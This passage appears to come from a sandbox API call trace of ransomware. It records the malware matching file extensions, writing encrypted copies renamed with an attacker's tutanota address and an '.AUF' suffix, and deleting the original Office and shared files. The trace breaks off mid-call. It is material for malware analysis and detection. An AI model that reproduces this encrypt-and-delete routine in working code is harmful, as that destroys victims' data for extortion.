(lpString=".bz2") returned 4 [0205.550] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0205.550] lstrlenW (lpString=".7z") returned 3 [0205.550] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0205.551] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0205.551] lstrlenW (lpString=".dbf") returned 4 [0205.551] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0205.551] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0205.551] lstrlenW (lpString=".1cd") returned 4 [0205.551] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0205.551] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0205.551] lstrlenW (lpString=".jpg") returned 4 [0205.551] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0205.551] lstrcmpiW (lpString1=".xml", lpString2=".AUF") returned 1 [0205.551] lstrlenW (lpString="VisiorWW.xml") returned 12 [0205.551] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0205.557] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=8723) returned 1 [0205.557] CloseHandle (hObject=0x1b0) returned 1 [0205.557] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml")) returned 0x2020 [0205.558] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0205.558] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0205.558] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0205.558] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0205.558] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0205.558] GetLastError () returned 0x0 [0205.558] ReadFile (in: hFile=0x1b0, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x2213, lpOverlapped=0x0) returned 1 [0205.569] WriteFile (in: hFile=0x1b8, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x2220, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x2220, lpOverlapped=0x0) returned 1 [0205.570] ReadFile (in: hFile=0x1b0, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0205.570] WriteFile (in: hFile=0x1b8, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0205.570] SetEndOfFile (hFile=0x1b8) returned 1 [0205.570] CloseHandle (hObject=0x1b8) returned 1 [0205.571] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0205.571] SetEndOfFile (hFile=0x1b0) returned 1 [0205.571] CloseHandle (hObject=0x1b0) returned 1 [0205.572] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0205.572] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml")) returned 1 [0205.572] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0205.572] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0205.572] lstrlenW (lpString=".doc") returned 4 [0205.572] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0205.572] lstrlenW (lpString=".docx") returned 5 [0205.572] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0205.572] lstrlenW (lpString=".pdf") returned 4 [0205.572] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0205.572] lstrlenW (lpString=".xls") returned 4 [0205.572] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0205.572] lstrlenW (lpString=".xlsx") returned 5 [0205.572] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0205.572] lstrlenW (lpString=".ppt") returned 4 [0205.572] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0205.572] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0205.572] lstrlenW (lpString=".zip") returned 4 [0205.572] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0205.572] lstrlenW (lpString=".rar") returned 4 [0205.572] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0205.572] lstrlenW (lpString=".bz2") returned 4 [0205.572] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0205.572] lstrlenW (lpString=".7z") returned 3 [0205.572] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0205.572] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0205.572] lstrlenW (lpString=".dbf") returned 4 [0205.572] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0205.572] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0205.572] lstrlenW (lpString=".1cd") returned 4 [0205.572] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0205.572] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0205.572] lstrlenW (lpString=".jpg") returned 4 [0205.572] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0205.573] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0205.573] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0205.573] lstrlenW (lpString=".doc") returned 4 [0205.573] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0205.573] lstrlenW (lpString=".docx") returned 5 [0205.573] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0205.573] lstrlenW (lpString=".pdf") returned 4 [0205.573] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0205.573] lstrlenW (lpString=".xls") returned 4 [0205.573] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0205.573] lstrlenW (lpString=".xlsx") returned 5 [0205.573] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0205.573] lstrlenW (lpString=".ppt") returned 4 [0205.573] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0205.573] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0205.573] lstrlenW (lpString=".zip") returned 4 [0205.573] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0205.573] lstrlenW (lpString=".rar") returned 4 [0205.573] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0205.573] lstrlenW (lpString=".bz2") returned 4 [0205.573] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0205.573] lstrlenW (lpString=".7z") returned 3 [0205.573] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0205.573] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0205.573] lstrlenW (lpString=".dbf") returned 4 [0205.573] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0205.573] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0205.573] lstrlenW (lpString=".1cd") returned 4 [0205.573] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0205.573] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0205.573] lstrlenW (lpString=".jpg") returned 4 [0205.573] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0205.573] lstrcmpiW (lpString1=".JPG", lpString2=".AUF") returned 1 [0205.573] lstrlenW (lpString="MS.JPG") returned 6 [0205.573] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0205.574] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=1061) returned 1 [0205.574] CloseHandle (hObject=0x1b0) returned 1 [0205.575] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg")) returned 0x20 [0205.575] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0205.575] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0205.575] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0205.575] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0205.575] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0205.575] GetLastError () returned 0x0 [0205.575] ReadFile (in: hFile=0x1b0, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x425, lpOverlapped=0x0) returned 1 [0205.597] WriteFile (in: hFile=0x1b8, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x430, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x430, lpOverlapped=0x0) returned 1 [0205.597] ReadFile (in: hFile=0x1b0, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0205.597] WriteFile (in: hFile=0x1b8, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0205.598] SetEndOfFile (hFile=0x1b8) returned 1 [0205.598] CloseHandle (hObject=0x1b8) returned 1 [0205.598] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0205.598] SetEndOfFile (hFile=0x1b0) returned 1 [0205.599] CloseHandle (hObject=0x1b0) returned 1 [0205.599] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0205.599] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg")) returned 1 [0205.599] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0205.599] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0205.599] lstrlenW (lpString=".doc") returned 4 [0205.599] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0205.599] lstrlenW (lpString=".docx") returned 5 [0205.599] lstrcmpiW (lpString1=".docx", lpString2="S.JPG") returned -1 [0205.599] lstrlenW (lpString=".pdf") returned 4 [0205.599] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0205.599] lstrlenW (lpString=".xls") returned 4 [0205.599] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0205.599] lstrlenW (lpString=".xlsx") returned 5 [0205.599] lstrcmpiW (lpString1=".xlsx", lpString2="S.JPG") returned -1 [0205.599] lstrlenW (lpString=".ppt") returned 4 [0205.599] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0205.599] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0205.600] lstrlenW (lpString=".zip") returned 4 [0205.600] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0205.600] lstrlenW (lpString=".rar") returned 4 [0205.600] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0205.600] lstrlenW (lpString=".bz2") returned 4 [0205.600] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0205.600] lstrlenW (lpString=".7z") returned 3 [0205.600] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0205.600] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0205.600] lstrlenW (lpString=".dbf") returned 4 [0205.600] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0205.600] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0205.600] lstrlenW (lpString=".1cd") returned 4 [0205.600] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0205.600] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0205.600] lstrlenW (lpString=".jpg") returned 4 [0205.600] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0205.600] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0205.600] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0205.600] lstrlenW (lpString=".doc") returned 4 [0205.600] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0205.600] lstrlenW (lpString=".docx") returned 5 [0205.600] lstrcmpiW (lpString1=".docx", lpString2="S.JPG") returned -1 [0205.600] lstrlenW (lpString=".pdf") returned 4 [0205.600] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0205.600] lstrlenW (lpString=".xls") returned 4 [0205.600] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0205.600] lstrlenW (lpString=".xlsx") returned 5 [0205.600] lstrcmpiW (lpString1=".xlsx", lpString2="S.JPG") returned -1 [0205.600] lstrlenW (lpString=".ppt") returned 4 [0205.600] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0205.600] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0205.600] lstrlenW (lpString=".zip") returned 4 [0205.600] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0205.600] lstrlenW (lpString=".rar") returned 4 [0205.600] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0205.600] lstrlenW (lpString=".bz2") returned 4 [0205.600] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0205.600] lstrlenW (lpString=".7z") returned 3 [0205.600] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0205.600] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0205.600] lstrlenW (lpString=".dbf") returned 4 [0205.600] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0205.600] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0205.600] lstrlenW (lpString=".1cd") returned 4 [0205.600] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0205.600] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0205.600] lstrlenW (lpString=".jpg") returned 4 [0205.600] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0205.601] lstrcmpiW (lpString1=".avi", lpString2=".AUF") returned 1 [0205.601] lstrlenW (lpString="boxed-correct.avi") returned 17 [0205.601] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0205.971] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=89600) returned 1 [0205.971] CloseHandle (hObject=0x1cc) returned 1 [0205.971] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi")) returned 0x20 [0205.972] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0205.972] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0205.972] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0205.972] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0205.972] lstrlenW (lpString=".doc") returned 4 [0205.972] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0205.972] lstrlenW (lpString=".docx") returned 5 [0205.972] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0205.972] lstrlenW (lpString=".pdf") returned 4 [0205.972] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0205.972] lstrlenW (lpString=".xls") returned 4 [0205.972] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0205.972] lstrlenW (lpString=".xlsx") returned 5 [0205.972] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0205.972] lstrlenW (lpString=".ppt") returned 4 [0205.972] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0205.972] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0205.972] lstrlenW (lpString=".zip") returned 4 [0205.972] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0205.972] lstrlenW (lpString=".rar") returned 4 [0205.972] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0205.972] lstrlenW (lpString=".bz2") returned 4 [0205.972] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0205.972] lstrlenW (lpString=".7z") returned 3 [0205.972] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0205.972] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0205.972] lstrlenW (lpString=".dbf") returned 4 [0205.972] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0205.972] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0205.972] lstrlenW (lpString=".1cd") returned 4 [0205.972] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0205.972] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0205.972] lstrlenW (lpString=".jpg") returned 4 [0205.972] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0205.972] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0205.972] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0205.972] lstrlenW (lpString=".doc") returned 4 [0205.972] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0205.972] lstrlenW (lpString=".docx") returned 5 [0205.972] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0205.972] lstrlenW (lpString=".pdf") returned 4 [0205.972] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0205.972] lstrlenW (lpString=".xls") returned 4 [0205.973] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0205.973] lstrlenW (lpString=".xlsx") returned 5 [0205.973] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0205.973] lstrlenW (lpString=".ppt") returned 4 [0205.973] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0205.973] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0205.973] lstrlenW (lpString=".zip") returned 4 [0205.973] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0205.973] lstrlenW (lpString=".rar") returned 4 [0205.973] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0205.973] lstrlenW (lpString=".bz2") returned 4 [0205.973] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0205.973] lstrlenW (lpString=".7z") returned 3 [0205.973] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0205.973] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0205.973] lstrlenW (lpString=".dbf") returned 4 [0205.973] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0205.973] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0205.973] lstrlenW (lpString=".1cd") returned 4 [0205.973] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0205.973] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0205.973] lstrlenW (lpString=".jpg") returned 4 [0205.973] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0205.973] lstrcmpiW (lpString1=".avi", lpString2=".AUF") returned 1 [0205.973] lstrlenW (lpString="join.avi") returned 8 [0205.973] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0205.973] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=222208) returned 1 [0205.973] CloseHandle (hObject=0x1cc) returned 1 [0205.973] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi")) returned 0x20 [0205.973] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0205.974] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0205.974] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0205.974] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0205.974] lstrlenW (lpString=".doc") returned 4 [0205.974] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0205.974] lstrlenW (lpString=".docx") returned 5 [0205.974] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0205.974] lstrlenW (lpString=".pdf") returned 4 [0205.974] lstrcmpiW (lpString1=".pdf", 